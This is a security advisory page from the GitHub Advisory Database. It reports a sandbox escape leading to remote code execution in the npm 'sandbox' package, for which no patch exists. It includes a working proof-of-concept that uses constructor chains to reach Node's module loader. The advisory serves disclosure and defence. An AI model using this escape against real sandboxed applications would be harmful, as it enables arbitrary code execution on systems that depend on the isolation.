Skip to content

Sandbox Breakout / Arbitrary Code Execution in sandbox

Moderate severity GitHub Reviewed Published Sep 2, 2020 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm sandbox (npm)

Affected versions

>= 0.0.0

Patched versions

None

Description

All versions of sandbox are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

References

Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 2, 2020
Last updated Jan 9, 2023

Severity

Moderate

EPSS score

Weaknesses

No CWEs

CVE ID

No known CVE

GHSA ID

GHSA-fm4j-4xhm-xpwx

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.